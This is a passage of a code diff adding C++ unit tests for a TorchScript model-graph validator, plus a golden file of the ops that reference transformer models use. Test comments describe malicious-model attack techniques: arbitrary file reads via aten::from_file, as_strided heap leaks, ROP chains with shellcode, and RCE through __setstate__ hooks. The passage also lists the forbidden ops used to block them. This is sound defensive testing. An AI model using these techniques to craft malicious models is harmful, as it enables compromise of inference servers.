result.s_UnrecognisedOps[2]); +} + +BOOST_AUTO_TEST_CASE(testTypicalBertOps) { + // Simulate a realistic BERT-like op set. + TStringSet observed{"aten::Int", + "aten::ScalarImplicit", + "aten::__and__", + "aten::add", + "aten::arange", + "aten::contiguous", + "aten::div", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::gelu", + "aten::ge", + "aten::index", + "aten::layer_norm", + "aten::linear", + "aten::masked_fill", + "aten::matmul", + "aten::mul", + "aten::new_ones", + "aten::permute", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::size", + "aten::slice", + "aten::softmax", + "aten::tanh", + "aten::to", + "aten::transpose", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::DictConstruct", + "prim::GetAttr", + "prim::If", + "prim::ListConstruct", + "prim::NumToTensor", + "prim::TupleConstruct"}; + + auto result = CModelGraphValidator::validate( + observed, CSupportedOperations::ALLOWED_OPERATIONS, + CSupportedOperations::FORBIDDEN_OPERATIONS); + + BOOST_REQUIRE(result.s_IsValid); + BOOST_REQUIRE(result.s_ForbiddenOps.empty()); + BOOST_REQUIRE(result.s_UnrecognisedOps.empty()); +} + +BOOST_AUTO_TEST_CASE(testCustomAllowlistAndForbiddenList) { + // Verify the three-argument overload works with arbitrary lists. + TStringViewSet allowed{"op::a", "op::b", "op::c"}; + TStringViewSet forbidden{"op::bad"}; + TStringSet observed{"op::a", "op::b"}; + + auto result = CModelGraphValidator::validate(observed, allowed, forbidden); + BOOST_REQUIRE(result.s_IsValid); + + observed.emplace("op::bad"); + result = CModelGraphValidator::validate(observed, allowed, forbidden); + BOOST_REQUIRE(result.s_IsValid == false); + BOOST_REQUIRE_EQUAL(1, result.s_ForbiddenOps.size()); + + observed.erase("op::bad"); + observed.emplace("op::unknown"); + result = CModelGraphValidator::validate(observed, allowed, forbidden); + BOOST_REQUIRE(result.s_IsValid == false); + BOOST_REQUIRE_EQUAL(1, result.s_UnrecognisedOps.size()); +} + +BOOST_AUTO_TEST_CASE(testCallMethodForbiddenAfterInlining) { + // prim::CallMethod must not appear after graph inlining; its presence + // means a method call could not be resolved and the graph cannot be + // fully validated. + TStringSet observed{"aten::linear", "prim::Constant", "prim::CallMethod"}; + + auto result = CModelGraphValidator::validate( + observed, CSupportedOperations::ALLOWED_OPERATIONS, + CSupportedOperations::FORBIDDEN_OPERATIONS); + + BOOST_REQUIRE(result.s_IsValid == false); + BOOST_REQUIRE_EQUAL(1, result.s_ForbiddenOps.size()); + BOOST_REQUIRE_EQUAL("prim::CallMethod", result.s_ForbiddenOps[0]); + BOOST_REQUIRE(result.s_UnrecognisedOps.empty()); +} + +BOOST_AUTO_TEST_CASE(testCallFunctionForbiddenAfterInlining) { + TStringSet observed{"aten::linear", "prim::CallFunction"}; + + auto result = CModelGraphValidator::validate( + observed, CSupportedOperations::ALLOWED_OPERATIONS, + CSupportedOperations::FORBIDDEN_OPERATIONS); + + BOOST_REQUIRE(result.s_IsValid == false); + BOOST_REQUIRE_EQUAL(1, result.s_ForbiddenOps.size()); + BOOST_REQUIRE_EQUAL("prim::CallFunction", result.s_ForbiddenOps[0]); +} + +BOOST_AUTO_TEST_CASE(testMaxNodeCountConstant) { + BOOST_REQUIRE(CModelGraphValidator::MAX_NODE_COUNT > 0); + BOOST_REQUIRE_EQUAL(std::size_t{1000000}, CModelGraphValidator::MAX_NODE_COUNT); +} + +BOOST_AUTO_TEST_CASE(testForbiddenOpAlsoInAllowlist) { + // If an op appears in both forbidden and allowed, forbidden takes precedence. + TStringViewSet allowed{"aten::from_file", "aten::linear"}; + TStringViewSet forbidden{"aten::from_file"}; + TStringSet observed{"aten::from_file", "aten::linear"}; + + auto result = CModelGraphValidator::validate(observed, allowed, forbidden); + BOOST_REQUIRE(result.s_IsValid == false); + BOOST_REQUIRE_EQUAL(1, result.s_ForbiddenOps.size()); + BOOST_REQUIRE_EQUAL("aten::from_file", result.s_ForbiddenOps[0]); +} + +// --- Integration tests using real TorchScript modules --- + +BOOST_AUTO_TEST_CASE(testValidModuleWithAllowedOps) { + // A simple module using only aten::add and aten::mul, both of which + // are in the allowed set. + ::torch::jit::Module m("__torch__.ValidModel"); + m.define(R"( + def forward(self, x: Tensor) -> Tensor: + return x + x * x + )"); + + auto result = CModelGraphValidator::validate(m); + + BOOST_REQUIRE(result.s_IsValid); + BOOST_REQUIRE(result.s_ForbiddenOps.empty()); + BOOST_REQUIRE(result.s_UnrecognisedOps.empty()); + BOOST_REQUIRE(result.s_NodeCount > 0); +} + +BOOST_AUTO_TEST_CASE(testModuleWithUnrecognisedOps) { + // torch.logit is not in the transformer allowlist. + ::torch::jit::Module m("__torch__.UnknownOps"); + m.define(R"( + def forward(self, x: Tensor) -> Tensor: + return torch.logit(x) + )"); + + auto result = CModelGraphValidator::validate(m); + + BOOST_REQUIRE(result.s_IsValid == false); + BOOST_REQUIRE(result.s_ForbiddenOps.empty()); + BOOST_REQUIRE(result.s_UnrecognisedOps.empty() == false); + bool foundLogit = false; + for (const auto& op : result.s_UnrecognisedOps) { + if (op == "aten::logit") { + foundLogit = true; + } + } + BOOST_REQUIRE(foundLogit); +} + +BOOST_AUTO_TEST_CASE(testModuleNodeCountPopulated) { + ::torch::jit::Module m("__torch__.NodeCount"); + m.define(R"( + def forward(self, x: Tensor) -> Tensor: + a = x + x + b = a * a + c = b - a + return c + )"); + + auto result = CModelGraphValidator::validate(m); + + BOOST_REQUIRE(result.s_NodeCount > 0); +} + +BOOST_AUTO_TEST_CASE(testModuleWithSubmoduleInlines) { + // Create a parent module with a child submodule. After inlining, + // the child's operations should be visible and validated. + ::torch::jit::Module child("__torch__.Child"); + child.define(R"( + def forward(self, x: Tensor) -> Tensor: + return torch.logit(x) + )"); + + ::torch::jit::Module parent("__torch__.Parent"); + parent.register_module("child", child); + parent.define(R"( + def forward(self, x: Tensor) -> Tensor: + return self.child.forward(x) + x + )"); + + auto result = CModelGraphValidator::validate(parent); + + BOOST_REQUIRE(result.s_IsValid == false); + bool foundLogit = false; + for (const auto& op : result.s_UnrecognisedOps) { + if (op == "aten::logit") { + foundLogit = true; + } + } + BOOST_REQUIRE(foundLogit); +} + +// --- Integration tests with malicious .pt model fixtures --- +// +// These load real TorchScript models that simulate attack vectors. +// The .pt files are generated by dev-tools/generate_malicious_models.py. + +namespace { +bool hasForbiddenOp(const CModelGraphValidator::SResult& result, const std::string& op) { + return std::find(result.s_ForbiddenOps.begin(), result.s_ForbiddenOps.end(), + op) != result.s_ForbiddenOps.end(); +} + +bool hasUnrecognisedOp(const CModelGraphValidator::SResult& result, const std::string& op) { + return std::find(result.s_UnrecognisedOps.begin(), result.s_UnrecognisedOps.end(), + op) != result.s_UnrecognisedOps.end(); +} + +std::string readFileBytes(const std::string& path) { + std::ifstream file(path, std::ios::binary); + // Fail loudly (naming the path) if a fixture goes missing, rather than + // returning an empty string that trips an opaque "bytes.empty() == false". + BOOST_REQUIRE_MESSAGE(file.is_open(), "Could not open fixture: " + path); + std::ostringstream buffer; + buffer << file.rdbuf(); + return buffer.str(); +} + +bool scanContains(const CModelGraphValidator::TStringVec& ops, const std::string& op) { + return std::find(ops.begin(), ops.end(), op) != ops.end(); +} +} + +BOOST_AUTO_TEST_CASE(testMaliciousFileReader) { + // A model that uses aten::from_file to read arbitrary files. + auto module = ::torch::jit::load("testfiles/malicious_models/malicious_file_reader.pt"); + auto result = CModelGraphValidator::validate(module); + + BOOST_REQUIRE(result.s_IsValid == false); + BOOST_REQUIRE(hasForbiddenOp(result, "aten::from_file")); +} + +BOOST_AUTO_TEST_CASE(testMaliciousMixedFileReader) { + // A model that mixes allowed ops (aten::add) with a forbidden + // aten::from_file. The entire model must be rejected. + auto module = ::torch::jit::load("testfiles/malicious_models/malicious_mixed_file_reader.pt"); + auto result = CModelGraphValidator::validate(module); + + BOOST_REQUIRE(result.s_IsValid == false); + BOOST_REQUIRE(hasForbiddenOp(result, "aten::from_file")); + BOOST_REQUIRE(result.s_UnrecognisedOps.empty()); +} + +BOOST_AUTO_TEST_CASE(testMaliciousHiddenInSubmodule) { + // Unrecognised ops buried three levels deep in nested submodules. + // The validator must inline through all submodules to find them. + // The leaf uses aten::logit (still unrecognised) so the fixture stays + // invalid when aten::sin is allowed for EuroBERT/Jina v5. + auto module = ::torch::jit::load("testfiles/malicious_models/malicious_hidden_in_submodule.pt"); + auto result = CModelGraphValidator::validate(module); + + BOOST_REQUIRE(result.s_IsValid == false); + BOOST_REQUIRE(result.s_ForbiddenOps.empty()); + BOOST_REQUIRE(result.s_UnrecognisedOps.empty() == false); +} + +BOOST_AUTO_TEST_CASE(testMaliciousConditionalBranch) { + // An unrecognised op hidden inside a conditional branch. The + // validator must recurse into prim::If blocks to detect it. + // The model uses aten::sin which is now allowed, but also contains + // other ops that remain unrecognised. + auto module = ::torch::jit::load("testfiles/malicious_models/malicious_conditional.pt"); + auto result = CModelGraphValidator::validate(module); + + BOOST_REQUIRE(result.s_IsValid == false); + BOOST_REQUIRE(result.s_UnrecognisedOps.empty() == false); +} + +BOOST_AUTO_TEST_CASE(testMaliciousManyUnrecognisedOps) { + // A model using many different ops (sin, cos, tan, exp). + // sin and cos are now allowed (EuroBERT/Jina v5), but tan and exp + // remain unrecognised. + auto module = ::torch::jit::load("testfiles/malicious_models/malicious_many_unrecognised.pt"); + auto result = CModelGraphValidator::validate(module); + + BOOST_REQUIRE(result.s_IsValid == false); + BOOST_REQUIRE(result.s_ForbiddenOps.empty()); + BOOST_REQUIRE(result.s_UnrecognisedOps.size() >= 2); + BOOST_REQUIRE(hasUnrecognisedOp(result, "aten::tan")); + BOOST_REQUIRE(hasUnrecognisedOp(result, "aten::exp")); +} + +BOOST_AUTO_TEST_CASE(testMaliciousFileReaderInSubmodule) { + // The forbidden aten::from_file is hidden inside a submodule. + // After inlining, the validator must still detect it. + auto module = ::torch::jit::load("testfiles/malicious_models/malicious_file_reader_in_submodule.pt"); + auto result = CModelGraphValidator::validate(module); + + BOOST_REQUIRE(result.s_IsValid == false); + BOOST_REQUIRE(hasForbiddenOp(result, "aten::from_file")); +} + +// --- Sandbox2 attack models --- +// +// These reproduce real-world attack vectors that exploit torch.as_strided +// to read out-of-bounds heap memory, leak libtorch addresses, and build +// ROP chains that call mprotect + shellcode to write arbitrary files. +// The graph validator must reject them because aten::as_strided is in +// the forbidden operations list. + +BOOST_AUTO_TEST_CASE(testMaliciousHeapLeak) { + // A model that uses torch.as_strided with a malicious storage offset + // to scan the heap for libtorch pointers and leak their addresses + // via an assertion message. + auto module = ::torch::jit::load("testfiles/malicious_models/malicious_heap_leak.pt"); + auto result = CModelGraphValidator::validate(module); + + BOOST_REQUIRE(result.s_IsValid == false); + BOOST_REQUIRE(hasForbiddenOp(result, "aten::as_strided")); +} + +BOOST_AUTO_TEST_CASE(testMaliciousRopExploit) { + // A model that extends the heap-leak technique to overwrite function + // pointers and build a ROP chain: mprotect a heap page as executable, + // then jump to shellcode that writes files to disk. + auto module = ::torch::jit::load("testfiles/malicious_models/malicious_rop_exploit.pt"); + auto result = CModelGraphValidator::validate(module); + + BOOST_REQUIRE(result.s_IsValid == false); + BOOST_REQUIRE(hasForbiddenOp(result, "aten::as_strided")); +} + +// --- Pre-load custom state-hook scan tests --- +// +// torch::jit::load executes a module's __setstate__ during deserialization, +// before CModelGraphValidator::validate (which inspects an already-loaded +// module) could run. Matching a privately reported finding, custom state hooks +// are rejected outright before load. Ops that only run when methods are invoked +// remain covered by the post-load allowlist / forbid checks. These tests +// never call torch::jit::load on attack fixtures. + +BOOST_AUTO_TEST_CASE(testPreLoadScanRejectsCustomStateHooks) { + // The reported RCE uses allowlisted ops inside __setstate__; rejecting the + // hooks themselves is the recommended remediation. + std::string bytes = readFileBytes("testfiles/malicious_models/malicious_setstate_file_reader.pt"); + BOOST_REQUIRE(bytes.empty() == false); + + auto hooks = CModelGraphValidator::scanArchiveForCustomStateHooks( + bytes.data(), bytes.size()); + + BOOST_REQUIRE(scanContains(hooks, "__setstate__")); + BOOST_REQUIRE(scanContains(hooks, "__getstate__")); +} + +BOOST_AUTO_TEST_CASE(testPreLoadScanRejectsCustomStateHooksInSubmodule) { + std::string bytes = readFileBytes( + "testfiles/malicious_models/malicious_setstate_file_reader_in_submodule.pt"); + BOOST_REQUIRE(bytes.empty() == false); + + auto hooks = CModelGraphValidator::scanArchiveForCustomStateHooks( + bytes.data(), bytes.size()); + + BOOST_REQUIRE(scanContains(hooks, "__setstate__")); +} + +BOOST_AUTO_TEST_CASE(testPreLoadScanAcceptsBenignModel) { + // Typical scripted transformers do not embed custom __setstate__/__getstate__. + std::string bytes = readFileBytes("testfiles/e5_with_norm.pt"); + BOOST_REQUIRE(bytes.empty() == false); + + auto hooks = CModelGraphValidator::scanArchiveForCustomStateHooks( + bytes.data(), bytes.size()); + + BOOST_REQUIRE(hooks.empty()); +} + +BOOST_AUTO_TEST_CASE(testPreLoadScanAcceptsForwardOnlyMaliciousModel) { + // Forbidden ops in forward (no custom state hooks) are not a pre-load + // concern — they are caught by post-load validate() after jit::load. + std::string bytes = readFileBytes("testfiles/malicious_models/malicious_file_reader.pt"); + BOOST_REQUIRE(bytes.empty() == false); + + auto hooks = CModelGraphValidator::scanArchiveForCustomStateHooks( + bytes.data(), bytes.size()); + + BOOST_REQUIRE(hooks.empty()); +} + +BOOST_AUTO_TEST_CASE(testPreLoadScanHandlesGarbageInput) { + // Non-archive input must not throw or crash; torch::jit::load will surface + // the real error later. The scan returns empty results. + std::string garbage = "this is not a valid .pt archive"; + auto hooks = CModelGraphValidator::scanArchiveForCustomStateHooks( + garbage.data(), garbage.size()); + BOOST_REQUIRE(hooks.empty()); +} + +BOOST_AUTO_TEST_CASE(testMaliciousReinterpretTensorRejectedPostLoad) { + // inductor::_reinterpret_tensor is the as_strided heap-OOB bypass + // (privately reported finding). This forward-only fixture carries no custom + // state hooks, so it loads cleanly; post-load validate must then report the + // op as forbidden (not merely unrecognised). + auto module = ::torch::jit::load( + "testfiles/malicious_models/malicious_reinterpret_tensor_oob_read.pt"); + auto result = CModelGraphValidator::validate(module); + + BOOST_REQUIRE(result.s_IsValid == false); + BOOST_REQUIRE(hasForbiddenOp(result, "inductor::_reinterpret_tensor")); +} + +// --- Prepacked model compatibility tests --- +// +// These load TorchScript models that mirror the ops used by Elasticsearch's +// prepacked models (ELSER, E5, rerank). If a new op appears in a prepacked +// model that isn't in the allowlist, these tests will catch it before CI +// integration tests or production deployments. + +BOOST_AUTO_TEST_CASE(testPrepackedE5ModelWithNorm) { + // The prepacked .multilingual-e5-small model uses aten::norm for L2 + // normalization. This op was missing from the allowlist and caused + // production failures (the process exited with "Unrecognised operations: + // aten::norm"). This test model is a tiny (24KB) architecture-compatible + // replica with the same graph ops as the real 448MB prepacked model. + auto module = ::torch::jit::load("testfiles/e5_with_norm.pt"); + auto result = CModelGraphValidator::validate(module); + + BOOST_REQUIRE_MESSAGE(result.s_IsValid, "e5_with_norm.pt should pass validation but failed. " + "Forbidden: " + << result.s_ForbiddenOps.size() << ", Unrecognised: " + << result.s_UnrecognisedOps.size()); + BOOST_REQUIRE(result.s_ForbiddenOps.empty()); + BOOST_REQUIRE(result.s_UnrecognisedOps.empty()); +} + +// --- Allowlist drift detection --- +// +// Validates that ALLOWED_OPERATIONS covers every operation observed in +// the reference HuggingFace models. The golden file is generated by +// dev-tools/extract_model_ops/extract_model_ops.py --golden and should +// be regenerated whenever PyTorch is upgraded or the set of supported +// architectures changes. + +BOOST_AUTO_TEST_CASE(testAllowlistCoversReferenceModels) { + std::ifstream file("testfiles/reference_model_ops.json"); + BOOST_REQUIRE_MESSAGE(file.is_open(), + "Could not open testfiles/reference_model_ops.json — " + "regenerate with: python3 dev-tools/extract_model_ops/" + "extract_model_ops.py --golden " + "bin/pytorch_inference/unittest/testfiles/reference_model_ops.json"); + + std::ostringstream buf; + buf << file.rdbuf(); + auto root = boost::json::parse(buf.str()).as_object(); + + auto& models = root.at("models").as_object(); + BOOST_REQUIRE_MESSAGE(models.size() > 0, "Golden file contains no models"); + + const auto& allowed = CSupportedOperations::ALLOWED_OPERATIONS; + const auto& forbidden = CSupportedOperations::FORBIDDEN_OPERATIONS; + + for (const auto & [ arch, entry ] : models) { + const auto& info = entry.as_object(); + const auto& ops = info.at("ops").as_array(); + std::string modelId{info.at("model_id").as_string()}; + + for (const auto& opVal : ops) { + std::string op{opVal.as_string()}; + + BOOST_CHECK_MESSAGE(forbidden.count(op) == 0, + arch << " (" << modelId << "): op " << op << " is in FORBIDDEN_OPERATIONS — a legitimate model " + << "should not use forbidden ops"); + + BOOST_CHECK_MESSAGE(allowed.count(op) == 1, + arch << " (" << modelId << "): op " << op << " is not in ALLOWED_OPERATIONS — update the allowlist " + << "or check if this op was introduced by a PyTorch upgrade"); + } + } +} + +BOOST_AUTO_TEST_SUITE_END() diff --git a/bin/pytorch_inference/unittest/CResultWriterTest.cc b/bin/pytorch_inference/unittest/CResultWriterTest.cc index 97b99038a2..7803bbc391 100644 --- a/bin/pytorch_inference/unittest/CResultWriterTest.cc +++ b/bin/pytorch_inference/unittest/CResultWriterTest.cc @@ -9,9 +9,9 @@ * limitation. */ -#include "../CResultWriter.h" +#include -#include "../CThreadSettings.h" +#include #include #include diff --git a/bin/pytorch_inference/unittest/CThreadSettingsTest.cc b/bin/pytorch_inference/unittest/CThreadSettingsTest.cc index 8ab8d03d2a..759affb021 100644 --- a/bin/pytorch_inference/unittest/CThreadSettingsTest.cc +++ b/bin/pytorch_inference/unittest/CThreadSettingsTest.cc @@ -9,7 +9,7 @@ * limitation. */ -#include "../CThreadSettings.h" +#include #include diff --git a/bin/pytorch_inference/unittest/testfiles/e5_with_norm.pt b/bin/pytorch_inference/unittest/testfiles/e5_with_norm.pt new file mode 100644 index 0000000000..a814f7bbd2 Binary files /dev/null and b/bin/pytorch_inference/unittest/testfiles/e5_with_norm.pt differ diff --git a/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_conditional.pt b/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_conditional.pt new file mode 100644 index 0000000000..114707e6a7 Binary files /dev/null and b/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_conditional.pt differ diff --git a/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_file_reader.pt b/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_file_reader.pt new file mode 100644 index 0000000000..fb0b26f469 Binary files /dev/null and b/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_file_reader.pt differ diff --git a/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_file_reader_in_submodule.pt b/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_file_reader_in_submodule.pt new file mode 100644 index 0000000000..4d6f6328b7 Binary files /dev/null and b/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_file_reader_in_submodule.pt differ diff --git a/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_heap_leak.pt b/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_heap_leak.pt new file mode 100644 index 0000000000..3458ab76a4 Binary files /dev/null and b/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_heap_leak.pt differ diff --git a/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_hidden_in_submodule.pt b/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_hidden_in_submodule.pt new file mode 100644 index 0000000000..180d98c88f Binary files /dev/null and b/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_hidden_in_submodule.pt differ diff --git a/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_many_unrecognised.pt b/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_many_unrecognised.pt new file mode 100644 index 0000000000..68639503af Binary files /dev/null and b/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_many_unrecognised.pt differ diff --git a/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_mixed_file_reader.pt b/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_mixed_file_reader.pt new file mode 100644 index 0000000000..78b8c47c43 Binary files /dev/null and b/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_mixed_file_reader.pt differ diff --git a/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_reinterpret_tensor_oob_read.pt b/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_reinterpret_tensor_oob_read.pt new file mode 100644 index 0000000000..c7c137d347 Binary files /dev/null and b/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_reinterpret_tensor_oob_read.pt differ diff --git a/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_reinterpret_tensor_oob_write.pt b/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_reinterpret_tensor_oob_write.pt new file mode 100644 index 0000000000..d1d66b3218 Binary files /dev/null and b/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_reinterpret_tensor_oob_write.pt differ diff --git a/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_rop_exploit.pt b/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_rop_exploit.pt new file mode 100644 index 0000000000..08beafc14c Binary files /dev/null and b/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_rop_exploit.pt differ diff --git a/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_setstate_file_reader.pt b/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_setstate_file_reader.pt new file mode 100644 index 0000000000..7a60d4f799 Binary files /dev/null and b/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_setstate_file_reader.pt differ diff --git a/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_setstate_file_reader_in_submodule.pt b/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_setstate_file_reader_in_submodule.pt new file mode 100644 index 0000000000..18552abc1c Binary files /dev/null and b/bin/pytorch_inference/unittest/testfiles/malicious_models/malicious_setstate_file_reader_in_submodule.pt differ diff --git a/bin/pytorch_inference/unittest/testfiles/reference_model_ops.json b/bin/pytorch_inference/unittest/testfiles/reference_model_ops.json new file mode 100644 index 0000000000..f66a42ec74 --- /dev/null +++ b/bin/pytorch_inference/unittest/testfiles/reference_model_ops.json @@ -0,0 +1,1223 @@ +{ + "pytorch_version": "2.7.1", + "models": { + "all-distilroberta-v1": { + "model_id": "sentence-transformers/all-distilroberta-v1", + "quantized": false, + "ops": [ + "aten::Int", + "aten::ScalarImplicit", + "aten::__and__", + "aten::add", + "aten::arange", + "aten::contiguous", + "aten::cumsum", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::gather", + "aten::ge", + "aten::gelu", + "aten::index", + "aten::layer_norm", + "aten::linear", + "aten::mul", + "aten::ne", + "aten::new_ones", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::select", + "aten::size", + "aten::slice", + "aten::tanh", + "aten::to", + "aten::transpose", + "aten::type_as", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::DictConstruct", + "prim::GetAttr", + "prim::ListConstruct", + "prim::NumToTensor" + ] + }, + "all-distilroberta-v1-eland": { + "model_id": "sentence-transformers/all-distilroberta-v1", + "quantized": false, + "eland_task_type": "text_embedding", + "ops": [ + "aten::add", + "aten::add_", + "aten::cat", + "aten::clamp", + "aten::clamp_min", + "aten::cumsum", + "aten::detach", + "aten::div", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::expand_as", + "aten::gelu", + "aten::layer_norm", + "aten::linalg_vector_norm", + "aten::linear", + "aten::masked_fill", + "aten::mul", + "aten::ne", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::size", + "aten::slice", + "aten::sub", + "aten::sum", + "aten::to", + "aten::transpose", + "aten::type_as", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::GetAttr", + "prim::ListConstruct" + ] + }, + "bert": { + "model_id": "bert-base-uncased", + "quantized": false, + "ops": [ + "aten::Int", + "aten::ScalarImplicit", + "aten::__and__", + "aten::add", + "aten::arange", + "aten::contiguous", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::gather", + "aten::ge", + "aten::gelu", + "aten::index", + "aten::layer_norm", + "aten::linear", + "aten::new_ones", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::select", + "aten::size", + "aten::slice", + "aten::tanh", + "aten::to", + "aten::transpose", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::DictConstruct", + "prim::GetAttr", + "prim::ListConstruct", + "prim::NumToTensor" + ] + }, + "deberta": { + "model_id": "microsoft/deberta-base", + "quantized": false, + "ops": [ + "aten::Int", + "aten::ScalarImplicit", + "aten::add", + "aten::add_", + "aten::arange", + "aten::bitwise_not", + "aten::chunk", + "aten::clamp", + "aten::contiguous", + "aten::div", + "aten::div_", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::gather", + "aten::gelu", + "aten::linear", + "aten::masked_fill", + "aten::matmul", + "aten::mean", + "aten::mul", + "aten::ne", + "aten::neg", + "aten::permute", + "aten::pow", + "aten::repeat", + "aten::rsub", + "aten::select", + "aten::size", + "aten::slice", + "aten::softmax", + "aten::sqrt", + "aten::squeeze", + "aten::sub", + "aten::tensor", + "aten::to", + "aten::transpose", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::DictConstruct", + "prim::GetAttr", + "prim::If", + "prim::ListConstruct", + "prim::ListUnpack", + "prim::TupleConstruct", + "prim::TupleUnpack", + "prim::device", + "prim::max", + "prim::min" + ] + }, + "distilbert": { + "model_id": "distilbert-base-uncased", + "quantized": false, + "ops": [ + "aten::Int", + "aten::ScalarImplicit", + "aten::__and__", + "aten::add", + "aten::arange", + "aten::contiguous", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::ge", + "aten::gelu", + "aten::index", + "aten::layer_norm", + "aten::linear", + "aten::new_ones", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::size", + "aten::slice", + "aten::to", + "aten::transpose", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::DictConstruct", + "prim::GetAttr", + "prim::ListConstruct", + "prim::NumToTensor" + ] + }, + "distilbert-sst2": { + "model_id": "distilbert-base-uncased-finetuned-sst-2-english", + "quantized": false, + "ops": [ + "aten::Int", + "aten::ScalarImplicit", + "aten::__and__", + "aten::add", + "aten::arange", + "aten::contiguous", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::ge", + "aten::gelu", + "aten::index", + "aten::layer_norm", + "aten::linear", + "aten::new_ones", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::size", + "aten::slice", + "aten::to", + "aten::transpose", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::DictConstruct", + "prim::GetAttr", + "prim::ListConstruct", + "prim::NumToTensor" + ] + }, + "distilbert-sst2-eland": { + "model_id": "distilbert-base-uncased-finetuned-sst-2-english", + "quantized": false, + "eland_task_type": "text_classification", + "ops": [ + "aten::add", + "aten::contiguous", + "aten::detach", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::gelu", + "aten::layer_norm", + "aten::linear", + "aten::masked_fill", + "aten::relu", + "aten::scaled_dot_product_attention", + "aten::select", + "aten::size", + "aten::slice", + "aten::sub", + "aten::to", + "aten::transpose", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::GetAttr", + "prim::ListConstruct", + "prim::TupleConstruct" + ] + }, + "dpr": { + "model_id": "facebook/dpr-ctx_encoder-single-nq-base", + "quantized": false, + "ops": [ + "aten::Int", + "aten::__and__", + "aten::add", + "aten::arange", + "aten::contiguous", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::ge", + "aten::gelu", + "aten::index", + "aten::layer_norm", + "aten::linear", + "aten::new_ones", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::select", + "aten::size", + "aten::slice", + "aten::to", + "aten::transpose", + "aten::unsqueeze", + "aten::view", + "aten::zeros", + "prim::Constant", + "prim::DictConstruct", + "prim::GetAttr", + "prim::ListConstruct", + "prim::NumToTensor" + ] + }, + "elastic-bge-m3": { + "model_id": "elastic/bge-m3", + "ops": [ + "aten::Int", + "aten::ScalarImplicit", + "aten::__and__", + "aten::add", + "aten::arange", + "aten::contiguous", + "aten::cumsum", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::gather", + "aten::ge", + "aten::gelu", + "aten::index", + "aten::layer_norm", + "aten::linear", + "aten::mul", + "aten::ne", + "aten::new_ones", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::select", + "aten::size", + "aten::slice", + "aten::tanh", + "aten::to", + "aten::transpose", + "aten::type_as", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::DictConstruct", + "prim::GetAttr", + "prim::ListConstruct", + "prim::NumToTensor" + ] + }, + "elastic-distilbert-cased-ner": { + "model_id": "elastic/distilbert-base-cased-finetuned-conll03-english", + "quantized": false, + "ops": [ + "aten::Int", + "aten::ScalarImplicit", + "aten::__and__", + "aten::add", + "aten::arange", + "aten::contiguous", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::ge", + "aten::gelu", + "aten::index", + "aten::layer_norm", + "aten::linear", + "aten::new_ones", + "aten::reshape", + "aten::scaled_dot_product_attention", + "aten::size", + "aten::slice", + "aten::to", + "aten::transpose", + "aten::unsqueeze", + "aten::view", + "prim::Constant", + "prim::DictConstruct", + "prim::GetAttr", + "prim::ListConstruct", + "prim::NumToTensor" + ] + }, + "elastic-distilbert-uncased-ner": { + "model_id": "elastic/distilbert-base-uncased-finetuned-conll03-english", + "quantized": false, + "ops": [ + "aten::Int", + "aten::ScalarImplicit", + "aten::__and__", + "aten::add", + "aten::arange", + "aten::contiguous", + "aten::dropout", + "aten::embedding", + "aten::expand", + "aten::ge", + "aten::gelu", + "aten::index", + 